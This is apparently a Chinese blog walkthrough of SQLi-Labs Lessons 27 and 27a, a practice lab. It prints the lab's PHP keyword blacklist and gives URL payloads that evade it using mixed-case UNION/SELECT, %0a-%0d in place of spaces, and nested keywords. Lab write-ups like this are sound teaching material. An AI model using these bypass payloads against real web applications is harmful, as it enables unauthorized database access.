SQLi Labs Lesson27 & Lesson27a

Lesson - 27

GET - Error Based - All your UNION & SELECT Belong to us - String - Single Quotes


首先进入欢迎界面:


构造 ?id=1,结果如图所示:

SQLi Labs Lesson27 & Lesson27a_第1张图片


构造 ?id=1',结果如图所示:


由错误回显信息推测后台SQL语句结构:

select ... from table where id = '$id' limit 0,1


构造 ?id=1' --+,结果不变,推测过滤了注释符。

进一步测试之后发现:

'union','select',空格,注释,都被过滤了。

但是对于‘union','select'的过滤好像不严格

'uNiOn',‘sEleCt'并没有被过滤。

查看后台过滤函数源代码:

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);            //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);        //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);        //Strip out union
$id= preg_replace('/select/s',"", $id);        //Strip out select
$id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);        //Strip out Union
$id= preg_replace('/Select/s',"", $id);        //Strip out select
return $id;
}

发现对于'select',‘union'并没有用'/i'修饰正则表达式,所以并不是不区分大小写的。


(本节本人MySQL默认字符集为UTF-8)

尝试用'%a0'作为空格,构造:

?id=0'uNiOn%a0sEleCt%a01,2,'3

结果如图所示:

不出意外的,当字符集为UTF-8时并不能用'%a0'代替空格。


那么上节提到的'%0a',‘%0b',’%0c',‘%0d’能不能用呢?

构造 ?id=0'uNiOn%0asEleCt%0a1,2,'3

结果如图所示:

发现'%0a',‘%0b',’%0c',‘%0d’,均可以作为空格使用。

那么问题来了,为什么?

上节中同样的字符集,‘%a0','%0a',‘%0b',’%0c',‘%0d’,均不可以作为空格使用。


问题出现在blacklist函数中:

上节的blacklist源代码:

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);            //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}

在空格过滤处使用的是

$id= preg_replace('/[\s]/',"", $id);

\s 匹配任意的空白符

而本节中的空格过滤:

$id= preg_replace('/[ +]/',"", $id);


下面看Lesson - 27a

GET - Blind Based - All your UNION & SELECT Belong to us - Double Quotes


构造

?id=0"uniunionon%0ASeLEct%0A1,2,"3

结果如图所示:

SQLi Labs Lesson27 & Lesson27a_第2张图片

你可能感兴趣的:(SQLi)